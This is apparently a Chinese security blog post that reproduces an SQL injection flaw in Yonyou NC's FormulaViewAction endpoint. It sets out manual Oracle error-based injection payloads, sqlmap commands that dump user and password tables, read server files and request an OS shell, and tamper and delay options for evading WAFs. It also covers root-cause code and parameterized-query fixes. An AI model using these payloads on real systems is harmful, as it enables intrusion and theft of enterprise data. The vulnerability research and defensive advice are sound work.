用友NC FormulaViewAction SQL注入漏洞深度剖析与实战复现
1. 项目概述一次典型的企业级应用漏洞深度剖析最近在安全研究圈里用友NC的FormulaViewAction组件曝出了一个SQL注入漏洞引起了不小的关注。作为一款在国内大型企事业单位中应用极其广泛的ERP系统用友NC的任何安全风吹草动都牵动着无数安全从业者和企业IT管理员的心。这个漏洞的特别之处在于它并非存在于一个冷门的、少有人用的功能模块里而是与“公式视图”这个可能涉及业务流程和数据处理的核心功能相关。这意味着如果漏洞被利用攻击者可能直接触及到企业最核心的业务数据比如财务凭证、供应链信息、人力资源档案等后果不堪设想。我花了些时间对这个漏洞进行了完整的复现和分析。整个过程下来感觉这既是一个教科书级别的SQL注入案例也暴露了在复杂企业级应用开发中一些看似基础的安全规范是如何被层层忽视的。这篇文章我就把自己从环境搭建、漏洞定位、利用链构造到深度分析的全过程以及其中踩过的坑和总结的经验毫无保留地分享出来。无论你是刚入门Web安全的新手想通过一个真实案例理解SQL注入的危害还是有一定经验的安全工程师希望了解如何系统化地分析一个CVE漏洞亦或是企业的运维人员需要评估自身系统的风险我相信这篇详尽的复盘都能给你带来实实在在的收获。我们不止于“复现”更要深挖“为什么”以及“怎么办”。2. 漏洞背景与核心原理深度拆解2.1 用友NC系统架构与FormulaViewAction组件定位要理解这个漏洞首先得对用友NC有个基本的认识。用友NCNew Century是一款面向大型集团企业的ERP平台采用典型的B/S架构后端通常基于Java EE技术栈前端则可能涉及多种富客户端技术。其系统庞大模块众多代码历史包袱重这是很多传统企业软件的共同特点。FormulaViewAction这个类名直译过来是“公式视图动作”。在企业ERP系统中“公式”通常不是一个数学计算那么简单它往往与业务规则、审批流程、数据校验、报表计算等核心逻辑绑定。例如一个费用报销的审批金额阈值、一个库存预警的计算规则、一个薪资计算的复杂算法都可能以“公式”的形式存在系统中。FormulaViewAction很可能就是负责处理这类公式的查看、编辑或解析请求的一个后端控制器Controller。在Java Web应用中一个*Action类通常继承自Struts Action或类似MVC框架的控制器基类它的核心方法是execute()或类似命名的方法用于接收前端HTTP请求参数调用业务逻辑并返回结果。漏洞往往就出现在参数处理这个最开始的环节。2.2 SQL注入漏洞的本质与常见触发点SQL注入的原理大家都不陌生攻击者通过在应用程序的输入参数中插入恶意的SQL代码当这些输入被后端程序不加处理地拼接到数据库查询语句中并执行时攻击者就能实现非授权的数据库操作。在像用友NC这样的Java应用中SQL注入的常见触发点包括字符串拼接直接使用号或StringBuilder将用户输入拼接到SQL语句中。不当使用ORM框架即使使用了Hibernate、MyBatis等框架如果开发者使用createNativeQuery并拼接参数或者MyBatis中使用了${}而非#{}进行参数内联风险依然存在。老旧代码或第三方库系统历经多年迭代某些早期编写的模块或引入的第三方组件可能未遵循当前的安全编码规范。根据漏洞编号和常见的模式推测FormulaViewAction这个漏洞很可能属于第一种情况在构建查询与“公式”相关数据的SQL语句时直接拼接了来自HTTP请求的某个参数比如公式IDformulaId、视图标识viewKey或过滤条件condition等。2.3 从网络热词看漏洞的关注点与影响面浏览相关的热搜词我们能捕捉到一些关键信息“用友u8找不到字段”、“用友t3/t6/u8接口”这反映了用友系列产品在实际部署、升级、集成中常遇到的各种技术问题也说明了其生态的复杂性和用户群体的广泛性。一个NC的漏洞其利用方式或原理可能对其他系列产品如U8有参考价值甚至存在通杀可能。“sql注入简单例子”、“pikachu/sqli-labs靶场”这表明有大量初学者正在积极学习SQL注入技术。这个用友NC的漏洞复现正好是一个从“靶场理想环境”过渡到“真实世界复杂应用”的绝佳练习案例。“漏洞复现: cve-xxxx-xxxx”、“永恒之蓝/永恒之黑”公众和行业对漏洞复现的流程、方法论越来越关注。复现不仅是验证漏洞更是理解攻击链、评估风险、制定防御策略的基础。“前台 getshell”这是最危险的信号。它意味着某些SQL注入漏洞的危害不止于数据泄露通过结合数据库特性如写文件、执行命令可能升级为远程代码执行RCE完全控制服务器。虽然本次FormulaViewAction漏洞不一定直接导致Getshell但这是所有SQL注入漏洞的终极演进方向在分析时必须考虑。综合来看这个漏洞的影响力在于它发生在用户基数庞大的核心企业应用的一个功能组件上利用门槛可能不高但可能触及敏感业务数据因此吸引了从安全研究员到潜在攻击者的广泛关注。3. 复现环境搭建与漏洞定位3.1 实验环境规划与准备工作漏洞复现的第一原则是在隔离、可控的环境中进行。绝对不要在线上环境或任何生产、测试系统上进行尝试。1. 靶机环境准备操作系统Windows Server 2012 R2 或 Windows Server 2016。用友NC对Windows Server兼容性较好。用友NC安装包需要获取存在漏洞的特定版本。根据漏洞披露信息这通常是一个较旧的版本例如NC 6.5之前的某个版本。请通过合法渠道获取用于安全研究的安装包。依赖软件Java环境JDK 1.6 或 1.7与NC版本匹配。这是最容易出问题的地方版本不匹配会导致NC无法启动。数据库Oracle 11g 或 Microsoft SQL Server。用友NC通常与Oracle数据库紧密集成。你需要准备数据库安装包并在安装NC前完成数据库的创建和初始化。应用服务器用友NC通常自带或推荐使用IBM WebSphere或Oracle WebLogic但其安装包内也可能集成了轻量级的Tomcat。对于复现使用其自带的Tomcat即可。2. 攻击机环境准备操作系统Kali Linux 或任何你熟悉的渗透测试发行版。必备工具Burp Suite Professional/Community用于拦截、重放、修改HTTP请求是手工测试和漏洞利用的核心。SQLMap自动化SQL注入检测和利用工具用于验证漏洞和快速提取数据。浏览器推荐Chrome或Firefox配合Burp Suite的代理使用。Nmap用于端口扫描确认靶机服务开放情况。中国菜刀/蚁剑/Cobalt Strike如果漏洞可能导致RCE则需要准备webshell管理工具仅用于授权测试学习。3. 网络配置确保攻击机和靶机在同一局域网段可以互相ping通。将靶机的防火墙规则设置为允许应用服务器端口如8080, 80和数据库端口如1521 for Oracle的入站连接以便于测试。注意环境搭建是用友NC复现中最耗时、最容易踩坑的环节。特别是数据库的初始化脚本、JDK版本、中间件配置任何一步出错都可能导致安装失败。建议详细阅读对应版本的官方安装手册并做好每一步的截图和记录。3.2 寻找漏洞入口点FormulaViewAction的URL路径与参数用友NC基于Struts 1.x或2.x框架其Action的访问URL有规律可循。通常格式为http://[靶机IP]:[端口]/[应用上下文]/[命名空间]/[Action名]![方法名].action?参数值我们的目标是找到FormulaViewAction的访问路径。静态代码分析如果有源码查找struts-config.xml或类似配置文件看FormulaViewAction的映射配置。动态模糊测试这是更通用的方法。使用Burp Suite的Intruder或类似爬虫/目录扫描工具如DirSearch, Gobuster对NC应用进行路径发现。字典构造结合常见路径如/u8/,/nc/,/portal/,/service/,/action/等加上FormulaView,formulaView,Formula,formula等关键词进行组合爆破。观察现有请求正常登录NC系统使用Burp Suite抓包观察其他功能模块的请求URL模式依此类推。例如如果你看到.../hrss/EmployeeViewAction!query.action那么可以尝试.../formula/FormulaViewAction!view.action或.../common/FormulaViewAction!execute.action。假设我们最终找到了漏洞入口点http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action接下来需要确定触发漏洞的参数。常见的可疑参数名包括id,pk,formulaId,viewId,condition,filter,params等。同样可以通过Burp Intruder对已知的Action地址进行参数名爆破或者根据功能推测“视图”很可能需要传入一个标识符来查询具体公式。3.3 初步漏洞验证手工注入探测找到疑似入口点和参数后开始手工验证。步骤一判断注入点类型向目标参数注入简单的探测载荷观察响应变化。数字型注入探测http://.../FormulaViewAction!view.action?formulaId1http://.../FormulaViewAction!view.action?formulaId1and11http://.../FormulaViewAction!view.action?formulaId1and12如果11时页面正常或返回预期数据12时页面异常数据消失、报错、空白则很可能是数字型注入。字符型注入探测http://.../FormulaViewAction!view.action?formulaIdtesthttp://.../FormulaViewAction!view.action?formulaId1 and 11http://.../FormulaViewAction!view.action?formulaId1 and 12注意观察单引号是否引发数据库错误这是最明显的标志以及逻辑真假条件是否导致页面内容差异。报错注入探测 如果页面在参数错误时会返回详细的数据库错误信息如Oracle的ORA-xxxxxMySQL的You have an error...这本身就是注入点存在的强证据并且为后续利用提供了便利。 可以尝试注入如 and 1dbms_pipe.receive_message((a),5)--针对Oracle的载荷观察响应延迟或错误信息。步骤二验证数据库类型通过注入特定的函数或语法来判断。...formulaId1and(selectcount(*)fromuser_tables)0--如果正常可能是Oracle。...formulaId1andexists(select1frominformation_schema.tables)--如果正常可能是MySQL。...formulaId1;selectversion--尝试堆叠查询取决于数据库和驱动支持。在我的复现过程中对formulaId参数注入单引号时页面返回了包含“ORA-01756: 引号内的字符串没有正确结束”的Java错误栈信息这直接确认了1. 存在SQL注入2. 后端数据库是Oracle3. 错误信息被直接回显适合进行报错注入。4. 漏洞利用链的构造与自动化工具实战4.1 手工注入利用信息获取与数据提取确认是Oracle数据库的字符型报错注入后我们可以构造更复杂的Payload来提取信息。1. 利用报错函数提取当前用户和数据库名Oracle中常用的报错函数有dbms_xdb_version.checkin,ctxsys.drithsx.sn,utl_inaddr.get_host_name等但需要根据数据库版本和权限选择。 一个相对通用的方法是利用dbms_xdb_version.makeversioned或dbms_utility.sqlid_to_sqlhash等函数的参数错误。 例如...formulaId1 and 1(select 1 from dual where 1(select dbms_xdb_version.makeversioned((select user from dual)) from dual))--这个Payload会尝试将select user from dual的结果作为makeversioned的参数由于类型不匹配而报错并将user当前数据库用户的信息带出到错误消息中。2. 提取表名和字段名这是渗透测试的关键一步。我们需要从Oracle的数据字典视图中查询。查询当前用户下的表名...formulaId1 and 1(select 1 from dual where 1(select dbms_xdb_version.makeversioned((select table_name from (select rownum rn, table_name from user_tables) where rn1)) from dual))--通过修改rn的值可以遍历出所有表名。需要特别关注表名中包含FORMULA,VIEW,CONFIG,USER,ADMIN,PASSWORD,SECRET等关键词的表。查询特定表的字段名 假设我们找到了一个名为SYS_FORMULA的表。...formulaId1 and 1(select 1 from dual where 1(select dbms_xdb_version.makeversioned((select column_name from (select rownum rn, column_name from user_tab_columns where table_nameSYS_FORMULA) where rn1)) from dual))--3. 提取敏感数据假设SYS_FORMULA表中有FORMULA_NAME,FORMULA_CONTENT,CREATOR等字段。...formulaId1 and 1(select 1 from dual where 1(select dbms_xdb_version.makeversioned((select FORMULA_NAME||:||FORMULA_CONTENT from (select rownum rn, FORMULA_NAME, FORMULA_CONTENT from SYS_FORMULA) where rn1)) from dual))--这里使用了||进行字符串拼接将公式名和内容一起带出。实操心得手工报错注入非常繁琐需要不断猜测和调整Payload且一次只能提取一行数据的一个字段或拼接后的字段。它主要用于验证漏洞和初步侦察。在实际渗透测试中一旦确认注入点通常会转向自动化工具进行高效利用。4.2 使用SQLMap进行自动化利用SQLMap是SQL注入领域的“瑞士军刀”。在手工验证了注入点之后使用SQLMap可以极大地提升效率。1. 基本检测sqlmap -u http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action?formulaId1 --batch--batch参数会让SQLMap自动选择默认选项。它会自动识别参数、数据库类型、注入技术。2. 获取数据库信息sqlmap -u http://192.168.1.100:8080/nc/portal/formula/FormulaViewAction!view.action?formulaId1 --current-user --current-db --hostname --batch这将获取当前数据库用户、当前数据库在Oracle中通常是用户模式名和主机名。3. 枚举数据库和表# 列出所有数据库在Oracle中通常是所有用户/模式 sqlmap -u http://...formulaId1 --dbs --batch # 假设我们关注NCDB这个用户/模式列出其所有表 sqlmap -u http://...formulaId1 -D NCDB --tables --batch # 更精准地通过关键词枚举可能包含敏感信息的表 sqlmap -u http://...formulaId1 -D NCDB --tables --search -T USER,PASS,FORMULA,ADMIN4. 提取表数据# 导出SYS_USER表的所有数据 sqlmap -u http://...formulaId1 -D NCDB -T SYS_USER --dump --batch # 如果表很大可以指定列或使用--start/--stop分页 sqlmap -u http://...formulaId1 -D NCDB -T SYS_USER -C USER_NAME,USER_PASSWORD,EMAIL --dump --batch5. 高级利用文件读取如果数据库用户有足够权限如DBA可以尝试读取服务器文件。sqlmap -u http://...formulaId1 --file-read /etc/passwd # Linux sqlmap -u http://...formulaId1 --file-read C:\\windows\\win.ini # Windows命令执行在极少数配置不当的情况下可能通过数据库扩展执行操作系统命令如Oracle的DBMS_SCHEDULER或Java存储过程。此操作风险极高务必在授权测试环境中谨慎尝试。sqlmap -u http://...formulaId1 --os-shell如果成功将获得一个交互式的操作系统shell。注意事项使用SQLMap时务必注意流量特征。它的Payload非常明显容易被WAFWeb应用防火墙或IDS入侵检测系统拦截。在生产环境测试是非法且不道德的。在授权测试中可以尝试使用--tamper参数如space2commentrandomcase对Payload进行混淆或使用--delay降低请求频率避免触发防护机制。4.3 漏洞利用的潜在危害推演成功利用此SQL注入漏洞攻击者可以达到以下目的敏感数据泄露窃取企业核心数据包括但不限于员工和用户信息姓名、工号、部门、联系方式。财务数据凭证、账户、交易记录。供应链数据客户、供应商、合同、价格。系统配置信息管理员账号、加密密钥、数据库连接字符串。权限提升通过修改数据库中的数据例如在用户表中将自己的账号权限提升为系统管理员从而完全控制NC系统。进一步渗透如果数据库用户权限足够高如DBA攻击者可能读取服务器上的任意文件如配置文件、源码、日志寻找更多漏洞。通过数据库的特定功能向服务器写入Webshell获取服务器控制权。以数据库服务账号身份执行操作系统命令横向移动内网。业务破坏恶意篡改或删除业务数据导致企业运营混乱造成直接经济损失。5. 漏洞根因分析与修复建议5.1 代码层面分析问题出在哪里根据漏洞现象和Struts Action的典型模式我们可以逆向推断出问题代码的大致模样。这很可能是一段类似下面的Java代码public class FormulaViewAction extends DispatchAction { public ActionForward view(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) { String formulaId request.getParameter(formulaId); // 直接获取用户输入 Connection conn null; Statement stmt null; try { conn getDataSource().getConnection(); // 获取数据库连接 // 致命错误直接拼接用户输入到SQL语句中 String sql SELECT * FROM SYS_FORMULA WHERE FORMULA_ID formulaId ; stmt conn.createStatement(); ResultSet rs stmt.executeQuery(sql); // 执行查询 // ... 处理结果集返回前端 ... } catch (SQLException e) { e.printStackTrace(); // 错误信息可能直接返回给用户 } finally { // ... 关闭资源 ... } return mapping.findForward(success); } }根因一目了然未使用预编译语句PreparedStatement这是最根本的原因。PreparedStatement会对参数进行严格的类型检查和转义从根本上杜绝SQL注入。直接字符串拼接将不可信的用户输入formulaId直接拼接到SQL语句字符串中。错误信息回显将底层的数据库异常信息如ORA-01756直接展示给前端用户这为攻击者进行报错注入提供了极大的便利。5.2 安全修复方案修复此类漏洞需要从代码层和架构层同时入手。1. 紧急临时加固治标WAF防护在应用前端部署Web应用防火墙配置SQL注入防护规则拦截包含单引号、union select、sleep()等关键字的恶意请求。但这只是一种缓解措施可能被绕过。输入验证在Action层或专门的过滤器中对formulaId等参数进行强类型验证必须是数字或严格的白名单字符过滤如只允许字母数字和下划线。但业务逻辑如果需要字符串此方法不适用。2. 根本性修复治本使用预编译语句PreparedStatement这是必须的。重写漏洞代码。String sql SELECT * FROM SYS_FORMULA WHERE FORMULA_ID ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setString(1, formulaId); // 安全地设置参数 ResultSet rs pstmt.executeQuery();使用安全的ORM框架如果项目使用MyBatis确保所有动态查询使用if标签并且参数传递一律使用#{}禁止使用${}。!-- 安全 -- select idselectFormula resultTypeFormula SELECT * FROM SYS_FORMULA WHERE FORMULA_ID #{formulaId} /select !-- 危险 -- select idselectFormula resultTypeFormula SELECT * FROM SYS_FORMULA WHERE FORMULA_ID ${formulaId} /select最小权限原则为NC应用连接数据库的账号分配最小必要的权限。通常只授予其对业务表的SELECT、INSERT、UPDATE、DELETE权限坚决不要授予DROP、CREATE、ALTER、DBA或文件读写、命令执行等高级权限。这能有效限制即使发生注入攻击者所能造成的破坏范围。自定义错误页面配置全局错误处理禁止将详细的Java异常栈或数据库错误信息返回给客户端。应返回统一的、友好的错误提示页面。3. 安全开发流程建设代码审计对全系统进行代码安全审计特别是所有接收外部参数的数据库操作点。安全培训对开发团队进行持续的安全编码培训将“使用参数化查询”作为铁律。依赖库扫描使用SCA工具检查项目中是否存在含有已知SQL注入漏洞的第三方库。5.3 对于企业运维人员的自查建议如果你是企业用友NC系统的运维或安全负责人可以立即开展以下工作版本排查确认当前使用的用友NC具体版本号并查询官方是否已发布该漏洞的安全补丁或升级版本。临时缓解如果暂时无法升级立即在防火墙或WAF上针对/nc/portal/formula/FormulaViewAction!view.action路径或其参数特征添加防护规则。日志监控加强应用日志和数据库日志的监控筛选包含异常SQL关键词如union、select from dual、dbms_等的访问请求进行告警和溯源。渗透测试在获得授权的前提下聘请专业的安全团队或使用安全的漏洞扫描工具对系统进行一次全面的安全评估主动发现潜在风险。6. 复现过程中的常见问题与排查实录在复现这个漏洞时我遇到了不少坑这里把典型问题和解决方法记录下来希望能帮你节省时间。问题一用友NC安装后无法启动控制台报Java版本错误或ClassNotFound。排查这是最常见的问题。用友NC对JDK版本非常挑剔。例如NC 6.5可能要求JDK 1.6而你的环境变量指向了JDK 1.8。解决彻底卸载现有JDK安装NC安装手册指定的确切版本。检查系统环境变量JAVA_HOME和PATH确保指向正确的JDK目录。检查NC自带的启动脚本如startup.bat看其内部是否硬编码了Java路径如果有直接修改脚本。有时候需要手动将特定版本的JDK的tools.jar复制到NC的lib目录下。问题二数据库连接失败初始化不成功。排查Oracle客户端配置问题、监听程序未启动、数据库服务名错误、权限不足。解决确保Oracle数据库实例已创建并启动。正确配置tnsnames.ora文件并在NC的数据库连接配置中使用正确的服务名。使用sqlplus命令行工具用NC配置的账号密码手动连接数据库验证连通性。检查NC的数据库连接配置文件如jdbc.properties确保URL、用户名、密码正确。问题三访问NC页面正常但Burp Suite抓不到包。排查浏览器代理设置不正确NC应用部署在本地浏览器访问localhost或127.0.0.1可能不走代理。解决将Burp Suite的代理监听设置为0.0.0.0:8080或其他端口。在浏览器中明确配置代理为127.0.0.1:8080。访问NC时使用本机的局域网IP地址如http://192.168.1.100:8080/nc而非localhost这样流量才会经过代理。问题四手工注入时单引号被转义或过滤不报错。排查应用层可能有全局过滤器对单引号等特殊字符进行了转义如将转为\或删除。解决尝试双写绕过formulaId1如果转义为1\拼接后SQL为...ID1\可能仍会引发语法错误。尝试编码绕过formulaId1%27%27是的URL编码。尝试其他注入点也许formulaId参数被处理了但其他未被注意的参数如viewType、parentId存在注入。使用SQLMap的--tamper脚本尝试多种绕过技术。问题五SQLMap检测不到注入点但手工测试明明有报错。排查SQLMap的默认检测策略可能不适用于该场景。例如页面在布尔条件真假时状态码都是200但页面内容长度有细微差别或者需要特定的Cookie或Header才能访问。解决使用Burp Suite抓取一个完整的、成功的请求包括Cookie、Referer等所有Header。将整个请求保存为文本文件如req.txt然后使用SQLMap加载该文件进行测试sqlmap -r req.txt --batch。指定更精确的注入技术--techniqueE报错注入、--techniqueB布尔盲注。提高检测等级和风险等级--level3 --risk3。问题六利用SQLMap进行数据提取时速度极慢或中断。排查网络不稳定目标数据库响应慢WAF干扰SQLMap的默认优化选项不适合当前环境。解决使用--threads参数降低并发数如--threads3减少对目标压力。使用--delay参数在每次请求间加入延迟如--delay1避免触发速率限制。对于盲注使用--predict-output和--keep-alive等优化选项。如果只是提取少量关键表使用-D -T -C精确指定避免枚举所有数据库和表。整个复现过程就像一次细致的侦探工作从外围信息收集到环境搭建这个“犯罪现场”重建再到利用各种工具和技巧寻找“蛛丝马迹”漏洞点最后完成“证据链”利用链的构造。每一步都需要耐心、细致和对技术的深入理解。对于企业而言这次漏洞复现更是一次深刻的安全警示再庞大、再核心的系统其安全防线也可能崩塌于一行疏忽的代码。